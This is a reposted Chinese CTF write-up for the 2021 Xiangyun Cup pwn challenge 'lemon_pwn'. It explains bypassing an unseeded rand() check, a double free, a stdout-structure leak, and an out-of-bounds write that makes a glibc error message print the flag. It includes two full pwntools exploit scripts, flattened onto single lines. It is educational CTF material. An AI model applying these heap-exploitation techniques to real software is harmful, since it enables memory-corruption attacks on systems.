2021 祥云杯 pwn lemon_pwn

2024-02-01 15:40
文章标签 2021 pwn lemon 祥云

本文主要是介绍2021 祥云杯 pwn lemon_pwn,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

保护当然也是全开。
在这里插入图片描述
在这里插入图片描述进去说有两个游戏,第一个游戏过了可以把flag写在栈上,然后我们就去看看第一个游戏。

在这里插入图片描述输入一个数字,然后一顿操作,异或上一个随机数,然后跟那玩意相等。
显然有随机数我们根本猜不出来,但是注意到rand函数此时还并没有设置种子,那么rand出来的就应该是一个定值。

我们调了一下定值是0x6b8b4567

然后下面就是一个循环,那个循环其实也没啥用,因为就是在异或,所以最后就是上面那一堆得到的要么是那个定值,要么是定值的异或。

式子把输入的buf拆开,前四个字节跟后四个字节分开,我们可以让后四个字节小于前四个字节,以此来让后面的除法结果等于0,然后或后面的数字就都等于0,所以这种情况下面就剩前四个字节异或后四个字节了。
要注意在循环的时候会有限制,后四个字节要大于前四个字节,有符号的。
然后构造一下就可以了。
我这里用的是0x99f45a12e1c9c44d

然后去第二个游戏。

首先是add
在这里插入图片描述首先是add,申请了一个0x20的chunk,信息都写在里面。

size不合格会有一个free,这个free显然没有置空指针,但是怎么去利用,我们一会再说。

eat
在这里插入图片描述
eat函数可以泄露一个heap的指针。

free
在这里插入图片描述非常干净。

color
在这里插入图片描述
color函数有一次溢出的机会。

做的时候仅仅是溢出然后unlink去构造,泄露libc之后构造变得复杂且麻烦,所以我反正是没整出来。

那我们开始想办法去利用那个可以制造一个置空的指针。在size不合适的情况下,它会在bss上写上地址之后free掉那个chunk,而且不清空指针。那我就可以先在add里面free它一次,再跑到free函数里面free一次,就会造成double free。

造成double free之后我们继续看程序,它没有可以泄露地址的函数,所以我们就必须去攻击_IO_2_1_stdout_,因为flag在栈上,所以其实我们完全可以得到libc之后通过环境变量,environ得到栈的地址,进而得到flag的地址,继续攻击_IO_2_1_stdout_,来直接去读我们的flag。

要注意给的libc是2.26的libc,2.26有啥突出的点

2.26之后
首先会有tcache。

然后
在这里插入图片描述

会多一个size presize的检查。

要求我们的上面的chunk,也就是代码里面的P,它的下一个chunk的pre_size要等于P的size。

我们最常见的去构造也是这样构造。

我这里用的是2.23的libc,但是构造还是按2.26来的.

exp

# -*- coding: utf-8 -*-
from pwn import*context.log_level = "debug"r =process("./lemon_pwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")def add(index, name, size, content):r.sendlineafter("choice >>> ", "1")r.sendlineafter("index of your lemon: \n", str(index))r.sendafter("name your lemon: \n", name)r.sendlineafter("for you lemon: \n", str(size))r.sendafter("message: \n", content)def add2(index, name, size):r.sendlineafter("choice >>> ", "1")r.sendlineafter("index of your lemon: \n", str(index))r.sendlineafter("name your lemon: \n", name)r.sendlineafter("for you lemon: \n", str(0x420))def eat(index):r.sendlineafter("choice >>> ", "2")r.sendlineafter("index of your lemon : \n", str(index))def throw(index):r.sendlineafter("choice >>> ", "3")r.sendlineafter("index of your lemon : \n", str(index))def color(index, content):r.sendlineafter("choice >>> ", "4")r.sendlineafter("index of your lemon  : \n", str(index))r.sendafter("draw and color!\n", content)def exp():r.sendlineafter("me?\n", "yes")r.sendafter("number: \n", p64(0x99f45a12e1c9c44d))r.sendafter("first: \n", "aaaa")r.recvuntil("0x")stack_offset = int(r.recv(3), 16)print "stack_offset = " + hex(stack_offset)add(3,"a",0x10,p64(0)+p64(0x31))add(0,p64(0)+p64(0x31),0x400,p64(0)+p64(0x31))eat(0)r.recvuntil("eat eat eat ")heap_addr = int(r.recv(5),10)print "heap_addr = " + hex(heap_addr)add(2,"a"*0x8+p64(0x31),0x60,p64(0)+p64(0x3f0))add2(1,"aaa")throw(1)add2(1,"aaa")throw(1)#可以double freenow_addr = heap_addr-0x10 add(1,p16(now_addr),0x30,"bbbbbb")add(1,"aaaaaaaa",0x20,"a"*0x8+p64(0x4e1))throw(0)add(0,"a0",0x60,"bbbb")throw(0)throw(2)add(0,"a1",0x3c0,"aaaa")add2(0, "a1")throw(0)add2(0, "a1")throw(0)now_addr = heap_addr+0x450add(0, p16(now_addr), 0x40,p16(0x36ed))add(0,"a"*0x8+p64(0x31),0x20,"a"*0x18+p64(0x71))throw(0)add(0,"a",0x60,"aaa")add(0,"a",0x60,'\x00'*0x3+p64(0)*5+p64(0x71) + p64(0xfbad1800) + p64(0)*3 + '\x00')libc_base = u64(r.recv(6) + '\x00\x00') - 0x3db700print "libc_base = " + hex(libc_base)throw(1)color(0,"d"*0x10+p32(1)+p32(60)+p64(libc_base+0x3db720))throw(0)environ = libc_base + libc.sym['__environ']add(0,"a",0x60, p64(0xfbad1800) + p64(0)*3 +p64(environ)+p64(environ+8)*2+p64(environ)+p64(environ+8))flag_stack = u64(r.recv(6) + '\x00\x00') - 0x188throw(0)add(0,"a",0x60, p64(0xfbad1800) + p64(0)*3 +p64(flag_stack)+p64(flag_stack+0x20)*2+p64(flag_stack)+p64(flag_stack+0x20))r.recv()#exp()while True:try:global rr = process("./lemon_pwn")exp()r.interactive()except Exception as e:r.close()print 'retrying...'

第二种方法利用的是我们上面没有提到过的,它可以有数组越界,它并没有检查数组的所有下标。

那么我们利用的思路是说通过数组越界,我们先去找哪里可以利用。
在这里插入图片描述bss上面被留下来一个name的地址。
那么我们可以通过color写栈,一直可以往下写。
那么往下写能写点啥。

在这里插入图片描述我们发现下面有一堆字儿,这是干嘛的,就比如那个./lemon

在这里插入图片描述发现它在报错的时候可以把这个字符输出出来,所以我们就把这个地址改成我们flag的地址。

在这里插入图片描述然后就可以在报错的时候输出flag。

但是栈环境不稳定,要爆破一下。

exp

from pwn import*context.log_level = "debug"r =process("./lemon_pwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")def add(index, name, size, content):r.sendlineafter("choice >>> ", "1")r.sendlineafter("index of your lemon: \n", str(index))r.sendafter("name your lemon: \n", name)r.sendlineafter("for you lemon: \n", str(size))r.sendafter("message: \n", content)def add2(index, name, size):r.sendlineafter("choice >>> ", "1")r.sendlineafter("index of your lemon: \n", str(index))r.sendlineafter("name your lemon: \n", name)r.sendlineafter("for you lemon: \n", str(size))def eat(index):r.sendlineafter("choice >>> ", "2")r.sendlineafter("index of your lemon : \n", str(index))def throw(index):r.sendlineafter("choice >>> ", "3")r.sendlineafter("index of your lemon : \n", str(index))def color(index, content):r.sendlineafter("choice >>> ", "4")r.sendlineafter("index of your lemon  : \n", str(index))r.sendafter("draw and color!\n", content)def exp():r.sendlineafter("me?\n", "yes")r.sendafter("number: \n", p64(0x99f45a12e1c9c44d))r.sendafter("first: \n", p64(0)*2+'\x00\x20\x00\x00\x01')r.recvuntil("0x")flag = int(r.recv(3), 16)flag2 = flag+0x1000-0x40  # flag地址的末字节payload = 'a'*0x138+chr(flag2&0xff)+chr((flag2>>8)&0xff)  ##覆盖环境变量的位置color(-260,payload)#gdb.attach(r)#pause()add(0,'desh',0x20,'a')throw(0)add(0,'desh',0x10,'a')add2(1,'desh',0x114514)throw(0)payload = p64(0x20)+p64(0x450)+p64(0x100000018)+p64(0x0)add(0,'desh',0x20,payload)throw(0)throw(1)add(0,'\xa0',0x20,'\xa0')add2(1,p64(0x10),0x20)while True:try:global rr = process("./lemon_pwn")exp()s = r.recvuntil("or corruption (!prev):")print sif "flag" in s:pause()except Exception as e:r.close()print 'retrying...'

这篇关于2021 祥云杯 pwn lemon_pwn的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/667689

相关文章

GPU 计算 CMPS224 2021 学习笔记 02

并行类型 (1)任务并行 (2)数据并行 CPU & GPU CPU和GPU拥有相互独立的内存空间,需要在两者之间相互传输数据。 (1)分配GPU内存 (2)将CPU上的数据复制到GPU上 (3)在GPU上对数据进行计算操作 (4)将计算结果从GPU复制到CPU上 (5)释放GPU内存 CUDA内存管理API (1)分配内存 cudaErro

2021-8-14 react笔记-2 创建组件 基本用法

1、目录解析 public中的index.html为入口文件 src目录中文件很乱,先整理文件夹。 新建components 放组件 新建assets放资源   ->/images      ->/css 把乱的文件放进去  修改App.js 根组件和index.js入口文件中的引入路径 2、新建组件 在components文件夹中新建[Name].js文件 //组件名首字母大写

2021-08-14 react笔记-1 安装、环境搭建、创建项目

1、环境 1、安装nodejs 2.安装react脚手架工具 //  cnpm install -g create-react-app 全局安装 2、创建项目 create-react-app [项目名称] 3、运行项目 npm strat  //cd到项目文件夹    进入这个页面  代表运行成功  4、打包 npm run build

[SWPUCTF 2021 新生赛]web方向(一到六题) 解题思路,实操解析,解题软件使用,解题方法教程

题目来源 NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。https://www.nssctf.cn/problem   [SWPUCTF 2021 新生赛]gift_F12 这个题目简单打开后是一个网页  我们一般按F12或者是右键查看源代码。接着我们点击ctrl+f后快速查找,根据题目给的格式我们搜索c

【面试个人成长】2021年过半,社招和校招的经验之谈

点击上方蓝色字体,选择“设为星标” 回复”资源“获取更多资源 长话短说。 今天有点晚,因为一些事情耽误了,文章发出来有些晚。 周末的时候和一个知识星球的读者1对1指导了一些应届生的学习路径和简历准备。 因为马上就要秋招了,有些公司的提前批已经启动。2021年已经过半了,各位。时间真是太快了。 正好周末抽了一点时间看之前买的关于面试的电子书,针对校招和社招的面试准备和需要注意的点在啰嗦几句。 校

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之Spark篇

欢迎关注博客主页:https://blog.csdn.net/u013411339 欢迎点赞、收藏、留言 ,欢迎留言交流! 本文由【王知无】原创,首发于 CSDN博客! 本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接: 2021年从零到大数据专家的

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之消息队列篇

📢欢迎关注博客主页:https://blog.csdn.net/u013411339 📢欢迎点赞 👍 收藏 ⭐留言 📝 ,欢迎留言交流! 📢本文由【王知无】原创,首发于 CSDN博客! 📢本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接:

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之SparkSQL篇

📢欢迎关注博客主页:https://blog.csdn.net/u013411339 📢欢迎点赞 👍 收藏 ⭐留言 📝 ,欢迎留言交流! 📢本文由【王知无】原创,首发于 CSDN博客! 📢本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接:

【硬刚大数据之面试篇】2021年从零到大数据专家面试篇之Hadoop/HDFS/Yarn篇

📢欢迎关注博客主页:https://blog.csdn.net/u013411339 📢欢迎点赞 👍 收藏 ⭐留言 📝 ,欢迎留言交流! 📢本文由【王知无】原创,首发于 CSDN博客! 📢本文首发CSDN论坛,未经过官方和本人允许,严禁转载! 本文是对《【硬刚大数据之学习路线篇】2021年从零到大数据专家的学习指南(全面升级版)》的面试部分补充。 硬刚大数据系列文章链接:

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨